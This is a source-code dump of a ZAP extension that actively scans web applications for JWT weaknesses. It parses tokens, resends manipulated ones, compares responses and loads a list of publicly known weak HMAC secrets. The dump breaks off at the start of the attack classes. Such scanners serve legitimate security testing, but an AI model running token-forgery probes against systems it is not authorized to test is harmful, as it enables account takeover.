| eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 184 | 185 | exec "$JAVACMD" "$@" 186 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /settings.gradle.kts: -------------------------------------------------------------------------------- 1 | rootProject.name = "jwt" 2 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/JWTActiveScanRule.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt; 15 | 16 | import java.io.IOException; 17 | import java.util.ArrayList; 18 | import java.util.List; 19 | import org.apache.log4j.Logger; 20 | import org.parosproxy.paros.core.scanner.AbstractAppParamPlugin; 21 | import org.parosproxy.paros.core.scanner.Category; 22 | import org.parosproxy.paros.core.scanner.NameValuePair; 23 | import org.parosproxy.paros.network.HttpMessage; 24 | import org.parosproxy.paros.network.HttpRequestHeader; 25 | import org.parosproxy.paros.network.HttpStatusCode; 26 | import org.zaproxy.zap.extension.jwt.attacks.ClientSideAttack; 27 | import org.zaproxy.zap.extension.jwt.attacks.ServerSideAttack; 28 | import org.zaproxy.zap.extension.jwt.exception.JWTException; 29 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 30 | 31 | /** 32 | * JWT Scanner is used to find the vulnerabilities in JWT implementations.
33 | * Resources containing more information about vulnerabilities in implementations are:
34 | * 35 | *

    36 | *
  1. JSON Web Token Best 37 | * Practices(IETF document) 38 | *
  2. 40 | * OWASP cheatsheet for vulnerabilities in JWT implementation 41 | *
  3. For 42 | * server side vulnerabilities in JWT implementations 43 | *
44 | * 45 | * @author KSASAN preetkaran20@gmail.com 46 | * @since TODO add version 47 | */ 48 | public class JWTActiveScanRule extends AbstractAppParamPlugin { 49 | 50 | private static final int PLUGIN_ID = 40036; 51 | private static final String NAME = JWTI18n.getMessage("jwt.scanner.name"); 52 | private static final String DESCRIPTION = JWTI18n.getMessage("jwt.scanner.description"); 53 | private static final String SOLUTION = JWTI18n.getMessage("jwt.scanner.soln"); 54 | private static final String REFERENCE = JWTI18n.getMessage("jwt.scanner.refs"); 55 | private static final Logger LOGGER = Logger.getLogger(JWTActiveScanRule.class); 56 | private int maxRequestCount; 57 | 58 | @Override 59 | public void init() { 60 | switch (this.getAttackStrength()) { 61 | case LOW: 62 | maxRequestCount = 4; 63 | break; 64 | case MEDIUM: 65 | maxRequestCount = 8; 66 | break; 67 | case HIGH: 68 | maxRequestCount = 18; 69 | break; 70 | case INSANE: 71 | maxRequestCount = 28; 72 | break; 73 | default: 74 | maxRequestCount = 8; 75 | break; 76 | } 77 | } 78 | 79 | protected void scan(List nameValuePairs) { 80 | if (!nameValuePairs.isEmpty() 81 | && nameValuePairs.get(0).getType() == NameValuePair.TYPE_HEADER) { 82 | nameValuePairs = new ArrayList<>(nameValuePairs); 83 | String authorizationHeaderValue = 84 | getBaseMsg().getRequestHeader().getHeader(HttpRequestHeader.AUTHORIZATION); 85 | if (authorizationHeaderValue != null) { 86 | nameValuePairs.add( 87 | new NameValuePair( 88 | NameValuePair.TYPE_HEADER, 89 | HttpRequestHeader.AUTHORIZATION, 90 | authorizationHeaderValue, 91 | nameValuePairs.size())); 92 | } 93 | } 94 | super.scan(nameValuePairs); 95 | } 96 | 97 | @Override 98 | public void scan(HttpMessage msg, String param, String value) { 99 | String newValue = value.trim(); 100 | newValue = JWTUtils.extractingJWTFromParamValue(newValue); 101 | 102 | if (!JWTUtils.isTokenValid(newValue)) { 103 | LOGGER.debug("Token: " + newValue + " is not a valid JWT token."); 104 | return; 105 | } 106 | // Sending request to save actual response and then compare it with new response 107 | try { 108 | sendAndReceive(msg); 109 | } catch (IOException e) { 110 | LOGGER.warn("Error occurred while sending the request", e); 111 | return; 112 | } 113 | 114 | JWTHolder jwtHolder; 115 | try { 116 | jwtHolder = JWTHolder.parseJWTToken(newValue); 117 | } catch (JWTException e) { 118 | LOGGER.debug("Unable to parse JWT Token", e); 119 | return; 120 | } 121 | 122 | if (JWTConfiguration.getInstance().isEnableClientConfigurationScan()) { 123 | performAttackClientSideConfigurations(msg, param); 124 | this.decreaseRequestCount(); 125 | } 126 | performAttackServerSideConfigurations(msg, param, jwtHolder, value); 127 | } 128 | 129 | @Override 130 | public boolean isStop() { 131 | return super.isStop() || (this.maxRequestCount <= 0); 132 | } 133 | 134 | public void decreaseRequestCount() { 135 | this.maxRequestCount--; 136 | } 137 | 138 | /** 139 | * Performs attack to find if client side configuration for JWT token is proper. 140 | * 141 | * @param msg a copy of the HTTP message currently under scanning 142 | * @param param the name of the parameter under testing 143 | * @return {@code true} if the vulnerability is found, {@code false} otherwise. 144 | */ 145 | private boolean performAttackClientSideConfigurations(HttpMessage msg, String param) { 146 | return new ClientSideAttack(this, param, msg).execute(); 147 | } 148 | 149 | /** 150 | * Performs attack to find JWT implementation weaknesses like weak key usage or other types of 151 | * attacks. 152 | * 153 | * @param msg a copy of the HTTP message currently under scanning 154 | * @param param the name of the parameter under testing 155 | * @param jwtHolder is the parsed representation of JWT token 156 | * @param value the value of the parameter under testing 157 | * @return {@code true} if the vulnerability is found, {@code false} otherwise. 158 | */ 159 | private boolean performAttackServerSideConfigurations( 160 | HttpMessage msg, String param, JWTHolder jwtHolder, String value) { 161 | 162 | return new ServerSideAttack(jwtHolder, this, param, msg, value).execute(); 163 | } 164 | 165 | /** 166 | * TODO Not sure how can this be implemented. Waits some time to check if token is expired and 167 | * then execute the attack. TODO need to implement it. 168 | * 169 | * @param jwtHolder is the parsed representation of JWT token 170 | * @param msg a copy of the HTTP message currently under scanning 171 | * @param param the name of the parameter under testing 172 | * @return {@code true} if the vulnerability is found, {@code false} otherwise. 173 | */ 174 | private boolean checkExpiredTokenAttack(JWTHolder jwtHolder, HttpMessage msg, String param) { 175 | return false; 176 | } 177 | 178 | public void raiseAlert( 179 | int risk, 180 | int confidence, 181 | String name, 182 | String description, 183 | String uri, 184 | String param, 185 | String attack, 186 | String otherInfo, 187 | String solution, 188 | HttpMessage msg) { 189 | newAlert() 190 | .setRisk(risk) 191 | .setConfidence(confidence) 192 | .setName(name) 193 | .setDescription(description) 194 | .setUri(uri) 195 | .setParam(param) 196 | .setAttack(attack) 197 | .setOtherInfo(otherInfo) 198 | .setSolution(solution) 199 | .setMessage(msg) 200 | .raise(); 201 | } 202 | 203 | /** 204 | * @param msg a copy of the HTTP message currently under scanning 205 | * @param param the name of the parameter under testing 206 | * @param jwtToken manipulated value of the parameter under testing 207 | * @param value the value of the parameter under testing 208 | * @return {@code true} if the vulnerability is found, {@code false} otherwise. 209 | */ 210 | public boolean sendManipulatedMsgAndCheckIfAttackSuccessful( 211 | HttpMessage msg, String param, String jwtToken, String value) { 212 | HttpMessage newMsg = this.getNewMsg(); 213 | this.setParameter(newMsg, param, JWTUtils.addingJWTToParamValue(value, jwtToken)); 214 | try { 215 | this.sendAndReceive(newMsg, false); 216 | if (newMsg.getResponseHeader().getStatusCode() 217 | == msg.getResponseHeader().getStatusCode() 218 | && newMsg.getResponseBody().equals(msg.getResponseBody()) 219 | && !msg.getResponseHeader().isJavaScript() 220 | && !msg.getResponseHeader().isCss() 221 | && msg.getResponseHeader().getStatusCode() != HttpStatusCode.NOT_FOUND) { 222 | return true; 223 | } 224 | } catch (IOException e) { 225 | LOGGER.warn("Following exception occurred while sending manipulated jwt message", e); 226 | } 227 | return false; 228 | } 229 | 230 | @Override 231 | public int getId() { 232 | return PLUGIN_ID; 233 | } 234 | 235 | @Override 236 | public String getName() { 237 | return NAME; 238 | } 239 | 240 | @Override 241 | public String getDescription() { 242 | return DESCRIPTION; 243 | } 244 | 245 | @Override 246 | public String getSolution() { 247 | return SOLUTION; 248 | } 249 | 250 | @Override 251 | public String getReference() { 252 | return REFERENCE; 253 | } 254 | 255 | @Override 256 | public int getCategory() { 257 | return Category.MISC; 258 | } 259 | } 260 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/JWTConfiguration.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt; 15 | 16 | import java.util.Arrays; 17 | import java.util.HashSet; 18 | import java.util.List; 19 | import java.util.Set; 20 | import org.apache.log4j.Logger; 21 | import org.zaproxy.zap.common.VersionedAbstractParam; 22 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 23 | 24 | /** 25 | * This class holds configuration related to JWT scanner. 26 | * 27 | * @author KSASAN preetkaran20@gmail.com 28 | * @since TODO add version 29 | */ 30 | public class JWTConfiguration extends VersionedAbstractParam { 31 | 32 | protected static final Logger LOGGER = Logger.getLogger(JWTConfiguration.class); 33 | 34 | /** The base configuration key for all JWT configurations. */ 35 | private static final String PARAM_BASE_KEY = "jwt"; 36 | 37 | private static final String CONFIG_VERSION_KEY = PARAM_BASE_KEY + VERSION_ATTRIBUTE; 38 | private static final int CURRENT_CONFIG_VERSION = 1; 39 | private static final String PARAM_TRUST_STORE_PATH = PARAM_BASE_KEY + ".trustStorePath"; 40 | private static final String PARAM_TRUST_STORE_PASSWORD = PARAM_BASE_KEY + ".trustStorePassword"; 41 | private static final String PARAM_ENABLE_CLIENT_CONFIGURATION_SCAN = 42 | PARAM_BASE_KEY + ".enableClientConfigurationScan"; 43 | 44 | private String trustStorePath; 45 | private String trustStorePassword; 46 | 47 | /** Fuzzer settings. Not storing private keys because of security concerns. */ 48 | private String rsaPrivateKeyFileChooserPath; 49 | 50 | private char[] hmacSignatureKey; 51 | 52 | private boolean enableClientConfigurationScan; 53 | private static volatile JWTConfiguration jwtConfiguration; 54 | 55 | /** 56 | * Files containing publicly well known JWT HMac Secrets. 57 | * 58 | *

There are publicly available well known JWT HMac Secrets. Special thanks to Wallarm.com 60 | * for collating the list of such weak secrets and making them open-source. 61 | */ 62 | private static final List FILE_NAMES_CONTAINING_PUBLICLY_KNOWN_HMAC_SECRETS = 63 | Arrays.asList("/weakKeys/wallarm_jwt_hmac_secrets_list"); 64 | 65 | private Set publiclyKnownHMacSecrets = new HashSet<>(); 66 | 67 | private JWTConfiguration() { 68 | init(); 69 | } 70 | 71 | private void init() { 72 | FILE_NAMES_CONTAINING_PUBLICLY_KNOWN_HMAC_SECRETS.stream() 73 | .forEach( 74 | fileName -> { 75 | Set values = JWTUtils.readFileContentsFromResources(fileName); 76 | if (values != null && !values.isEmpty()) { 77 | publiclyKnownHMacSecrets.addAll(values); 78 | } 79 | }); 80 | } 81 | 82 | public static JWTConfiguration getInstance() { 83 | if (jwtConfiguration == null) { 84 | synchronized (JWTConfiguration.class) { 85 | if (jwtConfiguration == null) { 86 | jwtConfiguration = new JWTConfiguration(); 87 | } 88 | } 89 | } 90 | return jwtConfiguration; 91 | } 92 | 93 | public String getTrustStorePath() { 94 | return trustStorePath; 95 | } 96 | 97 | public void setTrustStorePath(String trustStorePath) { 98 | this.trustStorePath = trustStorePath; 99 | this.getConfig().setProperty(PARAM_TRUST_STORE_PATH, trustStorePath); 100 | } 101 | 102 | public String getTrustStorePassword() { 103 | return trustStorePassword; 104 | } 105 | 106 | public void setTrustStorePassword(String trustStorePassword) { 107 | this.trustStorePassword = trustStorePassword; 108 | this.getConfig().setProperty(PARAM_TRUST_STORE_PASSWORD, trustStorePassword); 109 | } 110 | 111 | public String getRsaPrivateKeyFileChooserPath() { 112 | return rsaPrivateKeyFileChooserPath; 113 | } 114 | 115 | public void setRsaPrivateKeyFileChooserPath(String rsaPrivateKeyFileChooserPath) { 116 | this.rsaPrivateKeyFileChooserPath = rsaPrivateKeyFileChooserPath; 117 | } 118 | 119 | public void setHMacSignatureKey(char[] hmacSignatureKey) { 120 | this.hmacSignatureKey = hmacSignatureKey; 121 | } 122 | 123 | public char[] getHMacSignatureKey() { 124 | return hmacSignatureKey; 125 | } 126 | 127 | public boolean isEnableClientConfigurationScan() { 128 | return enableClientConfigurationScan; 129 | } 130 | 131 | public void setEnableClientConfigurationScan(boolean enableClientSideConfiguration) { 132 | this.enableClientConfigurationScan = enableClientSideConfiguration; 133 | this.getConfig() 134 | .setProperty(PARAM_ENABLE_CLIENT_CONFIGURATION_SCAN, enableClientSideConfiguration); 135 | } 136 | 137 | @Override 138 | protected String getConfigVersionKey() { 139 | return CONFIG_VERSION_KEY; 140 | } 141 | 142 | @Override 143 | protected int getCurrentVersion() { 144 | return CURRENT_CONFIG_VERSION; 145 | } 146 | 147 | @Override 148 | protected void parseImpl() { 149 | this.setTrustStorePath(getConfig().getString(PARAM_TRUST_STORE_PATH)); 150 | this.setTrustStorePassword(getConfig().getString(PARAM_TRUST_STORE_PASSWORD)); 151 | this.setEnableClientConfigurationScan( 152 | getBoolean(PARAM_ENABLE_CLIENT_CONFIGURATION_SCAN, false)); 153 | } 154 | 155 | @Override 156 | protected void updateConfigsImpl(int fileVersion) {} 157 | 158 | /** 159 | * There are publicly available well known JWT HMac Secrets. This API provides all those secrets 160 | * and help in finding JWT's signed using these weak secrets. 161 | * 162 | * @return publicly known HMac Secrets 163 | */ 164 | public Set getPubliclyKnownHMacSecrets() { 165 | return publiclyKnownHMacSecrets; 166 | } 167 | } 168 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/JWTExtension.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt; 15 | 16 | import java.util.ArrayList; 17 | import java.util.Collections; 18 | import java.util.List; 19 | import org.apache.log4j.Logger; 20 | import org.parosproxy.paros.control.Control; 21 | import org.parosproxy.paros.extension.Extension; 22 | import org.parosproxy.paros.extension.ExtensionAdaptor; 23 | import org.parosproxy.paros.extension.ExtensionHook; 24 | import org.parosproxy.paros.network.HttpMessage; 25 | import org.zaproxy.zap.extension.fuzz.ExtensionFuzz; 26 | import org.zaproxy.zap.extension.fuzz.MessagePanelManager; 27 | import org.zaproxy.zap.extension.fuzz.httpfuzzer.ExtensionHttpFuzzer; 28 | import org.zaproxy.zap.extension.fuzz.messagelocations.MessageLocationReplacers; 29 | import org.zaproxy.zap.extension.httppanel.component.all.request.RequestAllComponent; 30 | import org.zaproxy.zap.extension.httppanel.component.split.request.RequestSplitComponent; 31 | import org.zaproxy.zap.extension.httppanel.component.split.request.RequestSplitComponent.ViewComponent; 32 | import org.zaproxy.zap.extension.jwt.fuzzer.messagelocations.JWTMessageLocationReplacerFactory; 33 | import org.zaproxy.zap.extension.jwt.fuzzer.ui.JWTFuzzPanelView; 34 | import org.zaproxy.zap.extension.jwt.fuzzer.ui.JWTFuzzPanelViewFactory; 35 | import org.zaproxy.zap.extension.jwt.ui.JWTOptionsPanel; 36 | 37 | /** 38 | * @author KSASAN preetkaran20@gmail.com 39 | * @since TODO add version 40 | */ 41 | public class JWTExtension extends ExtensionAdaptor { 42 | 43 | protected static final Logger LOGGER = Logger.getLogger(JWTExtension.class); 44 | private static final List> DEPENDENCIES; 45 | 46 | static { 47 | List> dependencies = new ArrayList<>(1); 48 | dependencies.add(ExtensionHttpFuzzer.class); 49 | DEPENDENCIES = Collections.unmodifiableList(dependencies); 50 | 51 | JWTI18n.init(); 52 | } 53 | 54 | private JWTMessageLocationReplacerFactory jwtMessageLocationReplacerFactory; 55 | 56 | @Override 57 | public List> getDependencies() { 58 | return DEPENDENCIES; 59 | } 60 | 61 | @Override 62 | public String getAuthor() { 63 | return "KSASAN preetkaran20@gmail.com"; 64 | } 65 | 66 | @Override 67 | public void init() { 68 | jwtMessageLocationReplacerFactory = new JWTMessageLocationReplacerFactory(); 69 | MessageLocationReplacers.getInstance() 70 | .addReplacer(HttpMessage.class, jwtMessageLocationReplacerFactory); 71 | } 72 | 73 | @Override 74 | public void hook(ExtensionHook extensionHook) { 75 | super.hook(extensionHook); 76 | ExtensionFuzz extensionFuzz = 77 | Control.getSingleton().getExtensionLoader().getExtension(ExtensionFuzz.class); 78 | if (this.hasView()) { 79 | MessagePanelManager panelManager = extensionFuzz.getClientMessagePanelManager(); 80 | panelManager.addViewFactory( 81 | RequestAllComponent.NAME, new JWTFuzzPanelViewFactory(null)); 82 | panelManager.addViewFactory( 83 | RequestSplitComponent.NAME, new JWTFuzzPanelViewFactory(ViewComponent.HEADER)); 84 | panelManager.addViewFactory( 85 | RequestSplitComponent.NAME, new JWTFuzzPanelViewFactory(ViewComponent.BODY)); 86 | extensionHook.getHookView().addOptionPanel(new JWTOptionsPanel()); 87 | } 88 | extensionHook.addOptionsParamSet(getJWTConfiguration()); 89 | LOGGER.debug("JWT Extension loaded successfully"); 90 | } 91 | 92 | @Override 93 | public void unload() { 94 | super.unload(); 95 | ExtensionFuzz extensionFuzz = 96 | Control.getSingleton().getExtensionLoader().getExtension(ExtensionFuzz.class); 97 | if (this.hasView()) { 98 | MessagePanelManager panelManager = extensionFuzz.getClientMessagePanelManager(); 99 | panelManager.removeViewFactory( 100 | RequestAllComponent.NAME, new JWTFuzzPanelViewFactory(null).getName()); 101 | panelManager.removeViewFactory( 102 | RequestSplitComponent.NAME, 103 | new JWTFuzzPanelViewFactory(ViewComponent.HEADER).getName()); 104 | panelManager.removeViewFactory( 105 | RequestSplitComponent.NAME, 106 | new JWTFuzzPanelViewFactory(ViewComponent.BODY).getName()); 107 | panelManager.removeViews(RequestAllComponent.NAME, JWTFuzzPanelView.NAME, null); 108 | panelManager.removeViews( 109 | RequestAllComponent.NAME, 110 | JWTFuzzPanelView.NAME + ViewComponent.HEADER, 111 | ViewComponent.HEADER); 112 | panelManager.removeViews( 113 | RequestAllComponent.NAME, 114 | JWTFuzzPanelView.NAME + ViewComponent.BODY, 115 | ViewComponent.BODY); 116 | } 117 | MessageLocationReplacers.getInstance() 118 | .removeReplacer(HttpMessage.class, jwtMessageLocationReplacerFactory); 119 | } 120 | 121 | private JWTConfiguration getJWTConfiguration() { 122 | return JWTConfiguration.getInstance(); 123 | } 124 | 125 | @Override 126 | public boolean supportsDb(String type) { 127 | return true; 128 | } 129 | 130 | @Override 131 | public boolean canUnload() { 132 | return true; 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/JWTHolder.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt; 15 | 16 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_ALGORITHM_KEY_HEADER; 17 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_TOKEN_PERIOD_CHARACTER; 18 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_TOKEN_PERIOD_CHARACTER_REGEX; 19 | 20 | import java.util.Arrays; 21 | import java.util.Base64; 22 | import org.json.JSONObject; 23 | import org.zaproxy.zap.extension.jwt.exception.JWTException; 24 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 25 | 26 | /** 27 | * JWT token is parsed and broken into Header, Payload, and Signature.
28 | * This class is created for easier computations and manipulation of JWT Token.
29 | * JWT Holder fields are not encoded in base64 encoding. 30 | * 31 | * @author KSASAN preetkaran20@gmail.com 32 | * @since TODO add version 33 | */ 34 | public class JWTHolder { 35 | 36 | private String header; 37 | private String payload; 38 | private byte[] signature; 39 | 40 | private JWTHolder() {} 41 | 42 | public JWTHolder(JWTHolder jwtHolder) { 43 | this.header = jwtHolder.getHeader(); 44 | this.payload = jwtHolder.getPayload(); 45 | this.signature = jwtHolder.getSignature(); 46 | } 47 | 48 | /** 49 | * @return Header without base64 encoding 50 | */ 51 | public String getHeader() { 52 | return header; 53 | } 54 | 55 | /** 56 | * @param header without base64 encoding 57 | */ 58 | public void setHeader(String header) { 59 | this.header = header; 60 | } 61 | 62 | /** 63 | * @return Payload without base64 encoding 64 | */ 65 | public String getPayload() { 66 | return payload; 67 | } 68 | 69 | /** 70 | * @param payload without base64 encoding 71 | */ 72 | public void setPayload(String payload) { 73 | this.payload = payload; 74 | } 75 | 76 | /** 77 | * @return Signature without base64 encoding 78 | */ 79 | public byte[] getSignature() { 80 | return signature; 81 | } 82 | 83 | /** 84 | * @param signature without base64 encoding 85 | */ 86 | public void setSignature(byte[] signature) { 87 | this.signature = signature; 88 | } 89 | 90 | /** 91 | * @return algorithm value from Header 92 | */ 93 | public String getAlgorithm() { 94 | JSONObject headerJSONObject = new JSONObject(this.getHeader()); 95 | return headerJSONObject.getString(JWT_ALGORITHM_KEY_HEADER); 96 | } 97 | 98 | /** 99 | * We are using Base64 URL Safe 100 | * encoding. because of JWT specifications
101 | * Also we are removing the padding as per RFC 7515 padding is not there in JWT. 103 | * 104 | * @return base64 url encoded JWT token 105 | */ 106 | public String getBase64EncodedToken() { 107 | String base64EncodedHeader = JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(header); 108 | String base64EncodedPayload = JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(payload); 109 | String base64EncodedSignature = 110 | JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(signature); 111 | return base64EncodedHeader 112 | + JWT_TOKEN_PERIOD_CHARACTER 113 | + base64EncodedPayload 114 | + JWT_TOKEN_PERIOD_CHARACTER 115 | + base64EncodedSignature; 116 | } 117 | 118 | /** 119 | * @return token to be Signed i.e. base64EncodedHeader.base64EncodedPayload 120 | */ 121 | public String getBase64EncodedTokenWithoutSignature() { 122 | String base64EncodedHeader = JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(header); 123 | String base64EncodedPayload = JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString(payload); 124 | return base64EncodedHeader + JWT_TOKEN_PERIOD_CHARACTER + base64EncodedPayload; 125 | } 126 | 127 | /** 128 | * Parses JWT token and creates JWTHolder instance. we are using Base64 URL Safe encoding as 130 | * per JWT specifications.
131 | * 132 | * @param jwtToken base64 encoded JSON Web Token. 133 | * @return JWTHolder parsed JWT token. 134 | * @throws JWTException if provided jwtToken is not a valid JSON Web Token. 135 | */ 136 | public static JWTHolder parseJWTToken(String jwtToken) throws JWTException { 137 | if (!JWTUtils.isTokenValid(jwtToken)) { 138 | throw new JWTException("JWT token:" + jwtToken + " is not valid"); 139 | } 140 | JWTHolder jwtHolder = new JWTHolder(); 141 | String[] tokens = jwtToken.split(JWT_TOKEN_PERIOD_CHARACTER_REGEX, -1); 142 | jwtHolder.setHeader( 143 | JWTUtils.getString(Base64.getUrlDecoder().decode(JWTUtils.getBytes(tokens[0])))); 144 | jwtHolder.setPayload( 145 | JWTUtils.getString(Base64.getUrlDecoder().decode(JWTUtils.getBytes(tokens[1])))); 146 | jwtHolder.setSignature(Base64.getUrlDecoder().decode(JWTUtils.getBytes(tokens[2]))); 147 | 148 | return jwtHolder; 149 | } 150 | 151 | @Override 152 | public String toString() { 153 | return "JWTHolder [header=" 154 | + header 155 | + ", payload=" 156 | + payload 157 | + ", signature=" 158 | + Arrays.toString(signature) 159 | + "]"; 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/JWTI18n.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt; 15 | 16 | import java.util.ResourceBundle; 17 | import org.parosproxy.paros.Constant; 18 | 19 | /** 20 | * Message Bundle 21 | * 22 | * @author KSASAN preetkaran20@gmail.com 23 | * @since TODO add version 24 | */ 25 | public final class JWTI18n { 26 | private static ResourceBundle message; 27 | 28 | private JWTI18n() { 29 | // Nothing to do. 30 | } 31 | 32 | public static void init() { 33 | message = 34 | ResourceBundle.getBundle( 35 | JWTI18n.class.getPackage().getName() + ".resources.Messages", 36 | Constant.getLocale()); 37 | } 38 | 39 | public static String getMessage(String key) { 40 | if (key != null && message != null && message.containsKey(key)) { 41 | return message.getString(key); 42 | } 43 | return ""; 44 | } 45 | 46 | public static ResourceBundle getResourceBundle() { 47 | return message; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/ClientSideAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

